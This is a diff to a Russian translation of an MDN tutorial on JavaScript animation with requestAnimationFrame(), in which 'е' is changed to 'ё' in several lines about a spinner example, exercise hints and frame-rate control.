+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π΅Ρ‰Ρ‘ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>requestAnimationFrame ()</code> отличаСтся ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ€Π°Π½Π΅Π΅. Глядя Π½Π° наш ΠΊΠΎΠ΄ свСрху:</p>
<pre class="brush: js notranslate">function draw() {
// Drawing code goes here
@@ -295,7 +295,7 @@ setInterval(draw, 17);</pre>
<p>ЀактичСскому колбэку, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌΡƒ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>requestAnimationFrame ()</code>, Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€: Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΊΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдставляСт врСмя с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹ <code>requestAnimationFrame ().</code></p>
-<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ позволяСт Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π²Π΅Ρ‰ΠΈ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ врСмя ΠΈ Π² постоянном Ρ‚Π΅ΠΌΠΏΠ΅, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, насколько быстрым ΠΈΠ»ΠΈ ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вашС устройство. ΠžΠ±Ρ‰ΠΈΠΉ шаблон, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π±Ρ‹ использовали, выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ позволяСт Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π²Π΅Ρ‰ΠΈ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ врСмя ΠΈ Π² постоянном Ρ‚Π΅ΠΌΠΏΠ΅, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, насколько быстрым ΠΈΠ»ΠΈ ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вашС устройство. ΠžΠ±Ρ‰ΠΈΠΉ шаблон, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π±Ρ‹ использовали, выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">let startTime = null;
@@ -321,7 +321,7 @@ draw();</pre>
<h3 id="ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
-<p>Π₯Π²Π°Ρ‚ΠΈΡ‚ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ! Π”Π°Π²Π°ΠΉΡ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠΌ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ с использованиСм <code>requestAnimationFrame()</code>Β . Π‘ΠΎΠ·Π΄Π°Π΄ΠΈΠΌ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽΒ "spinner animation"β€”Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π΅Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² прилоТСниях ΠΊΠΎΠ³Π΄Π° происходят Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΏΡ€ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π΅ с сСрвСра ΠΈ Ρ‚.ΠΏ..</p>
+<p>Π₯Π²Π°Ρ‚ΠΈΡ‚ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ! Π”Π°Π²Π°ΠΉΡ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠΌ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ с использованиСм <code>requestAnimationFrame()</code>Β . Π‘ΠΎΠ·Π΄Π°Π΄ΠΈΠΌ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽΒ "spinner animation"β€”Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π΅Ρ‘ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² прилоТСниях ΠΊΠΎΠ³Π΄Π° происходят Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΏΡ€ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π΅ с сСрвСра ΠΈ Ρ‚.ΠΏ..</p>
<div class="blockIndicator note">
<p><strong>Note</strong>: Для Ρ‚Π°ΠΊΠΎΠΉ простой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π²Π°ΠΌ слСдовало Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ CSS . Однако Ρ‚Π°ΠΊΠΎΠΉ Π²ΠΈΠ΄ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ для дСмонстрации <code>requestAnimationFrame()</code> , Π²Ρ‹ скорСС всСго Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΊΠΎΠ³Π΄Π° Π΄Π΅Π»Π°Π΅Ρ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТноС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ отобраТСния ΠΈΠ³Ρ€Ρ‹ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅.</p>
@@ -376,7 +376,7 @@ let rAF;
}</pre>
</li>
<li>
- <p>Π’Π½ΡƒΡ‚Ρ€ΠΈ <code>draw ()</code> Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки. Они опрСдСлят врСмя Π½Π°Ρ‡Π°Π»Π°, Ссли ΠΎΠ½ΠΎ Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ (это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°), ΠΈ установят для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>rotateCount</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π° счСтчика (тСкущая врСмСнная ΠΌΠ΅Ρ‚ΠΊΠ°, Π²ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π½Π° Ρ‚Ρ€ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚ΡŒΡΡ):</p>
+ <p>Π’Π½ΡƒΡ‚Ρ€ΠΈ <code>draw ()</code> Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки. Они опрСдСлят врСмя Π½Π°Ρ‡Π°Π»Π°, Ссли ΠΎΠ½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ (это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°), ΠΈ установят для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>rotateCount</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π° счётчика (тСкущая врСмСнная ΠΌΠ΅Ρ‚ΠΊΠ°, Π²ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π½Π° Ρ‚Ρ€ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚ΡŒΡΡ):</p>
<pre class="brush: js notranslate"> if (!startTime) {
startTime = timestamp;
@@ -396,7 +396,7 @@ let rAF;
<pre class="brush: js notranslate">spinner.style.transform = `rotate(${rotateCount}deg)`;</pre>
</li>
<li>
- <p>Π’ самом Π½ΠΈΠ·Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <em>draw ()</em> Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку. Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡ ΠΊΠΎ всСй ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ - Π²Ρ‹ устанавливаСтС для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Ρ€Π°Π½Π΅Π΅, Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²<em> requestAnimation ()</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <em>draw ()</em> Π² качСствС своСго ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°. Π­Ρ‚ΠΎ запускаСт Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, постоянно выполняя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <em>draw ()</em> со ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, Π±Π»ΠΈΠ·ΠΊΠΎΠΉ ΠΊ 60 FPS.</p>
+ <p>Π’ самом Π½ΠΈΠ·Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <em>draw ()</em> Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку. Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡ ΠΊΠΎ всСй ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ - Π²Ρ‹ устанавливаСтС для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Ρ€Π°Π½Π΅Π΅, Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²<em> requestAnimation ()</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <em>draw ()</em> Π² качСствС своСго ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°. Π­Ρ‚ΠΎ запускаСт Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, постоянно выполняя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <em>draw ()</em> со ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, Π±Π»ΠΈΠ·ΠΊΠΎΠΉ ΠΊ 60 FPS.</p>
<pre class="brush: js notranslate">rAF = requestAnimationFrame(draw);</pre>
</li>
@@ -421,13 +421,13 @@ let rAF;
<h3 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_запуск_ΠΈ_остановка_нашСй_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: запуск ΠΈ остановка нашСй Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</h3>
-<p>Π’ этом ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ протСстировали ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>cancelAnimationFrame ()</code>, взяв наш ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΠ² Π΅Π³ΠΎ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для запуска ΠΈ остановки счСтчика ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ ΠΌΡ‹ΡˆΡŒΡŽ Π² любом мСстС страницы.</p>
+<p>Π’ этом ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ протСстировали ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>cancelAnimationFrame ()</code>, взяв наш ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΠ² Π΅Π³ΠΎ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для запуска ΠΈ остановки счётчика ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ ΠΌΡ‹ΡˆΡŒΡŽ Π² любом мСстС страницы.</p>
<p>Подсказки:</p>
<ul>
<li>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события Ρ‰Π΅Π»Ρ‡ΠΊΠ° ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Ρƒ элСмСнтов, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ <code>&lt;body&gt;</code>. Π˜ΠΌΠ΅Π΅Ρ‚ смысл ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² элСмСнт <code>&lt;body&gt;</code>, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΌΠ°ΠΊΡΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ - событиС всплываСт Π΄ΠΎ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов.</li>
- <li>Π’Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ отслСТивания, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, вращаСтся Π»ΠΈ счСтчик ΠΈΠ»ΠΈ Π½Π΅Ρ‚, очистив ΠΊΠ°Π΄Ρ€ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Ссли ΠΎΠ½ Π΅ΡΡ‚ΡŒ, ΠΈ снова Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Ссли это Π½Π΅ Ρ‚Π°ΠΊ.</li>
+ <li>Π’Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ отслСТивания, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, вращаСтся Π»ΠΈ счётчик ΠΈΠ»ΠΈ Π½Π΅Ρ‚, очистив ΠΊΠ°Π΄Ρ€ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Ссли ΠΎΠ½ Π΅ΡΡ‚ΡŒ, ΠΈ снова Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Ссли это Π½Π΅ Ρ‚Π°ΠΊ.</li>
</ul>
<div class="blockIndicator note">
@@ -436,9 +436,9 @@ let rAF;
<h3 id="Π Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠ°_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ_requestAnimationFrame">Π Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠ° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ <code>requestAnimationFrame()</code>Β </h3>
-<p>Одним ΠΈΠ· ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ <code>requestAnimationFrame ()</code> являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ частоту ΠΊΠ°Π΄Ρ€ΠΎΠ². Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв это Π½Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваша анимация Ρ€Π°Π±ΠΎΡ‚Π°Π»Π° ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ»Π°Π²Π½ΠΎΠ΅. Но ΠΊΠ°ΠΊ насчСт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ»Π΄ΡΠΊΡƒΠ»ΡŒΠ½ΡƒΡŽ 8-Π±ΠΈΡ‚Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ?</p>
+<p>Одним ΠΈΠ· ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ <code>requestAnimationFrame ()</code> являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ частоту ΠΊΠ°Π΄Ρ€ΠΎΠ². Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв это Π½Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваша анимация Ρ€Π°Π±ΠΎΡ‚Π°Π»Π° ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ»Π°Π²Π½ΠΎΠ΅. Но ΠΊΠ°ΠΊ насчёт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ»Π΄ΡΠΊΡƒΠ»ΡŒΠ½ΡƒΡŽ 8-Π±ΠΈΡ‚Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ?</p>
-<p>Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ρ…ΠΎΠ΄ΡŒΠ±Ρ‹, Π²Π΄ΠΎΡ…Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉ островом обСзьян, ΠΈΠ· ΡΡ‚Π°Ρ‚ΡŒΠΈ <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing Graphics</a>:</p>
+<p>Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ρ…ΠΎΠ΄ΡŒΠ±Ρ‹, Π²Π΄ΠΎΡ…Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ островом обСзьян, ΠΈΠ· ΡΡ‚Π°Ρ‚ΡŒΠΈ <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing Graphics</a>:</p>
<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p>
@@ -466,13 +466,13 @@ let rAF;
<p>Π­Ρ‚ΠΎ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вычисляСт, ΠΊΠ°ΠΊ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для рСгулирования Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ вашСго ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. НапримСр, Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ счСтчика Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅, увСличивая rotateCount Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ вмСсто Π΄Π²ΡƒΡ….</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для рСгулирования Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ вашСго ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. НапримСр, Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ счётчика Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅, увСличивая rotateCount Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ вмСсто Π΄Π²ΡƒΡ….</p>
<h2 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΠΈΠ³Ρ€Π°_Π½Π°_Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: ΠΈΠ³Ρ€Π° Π½Π° Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ</h2>
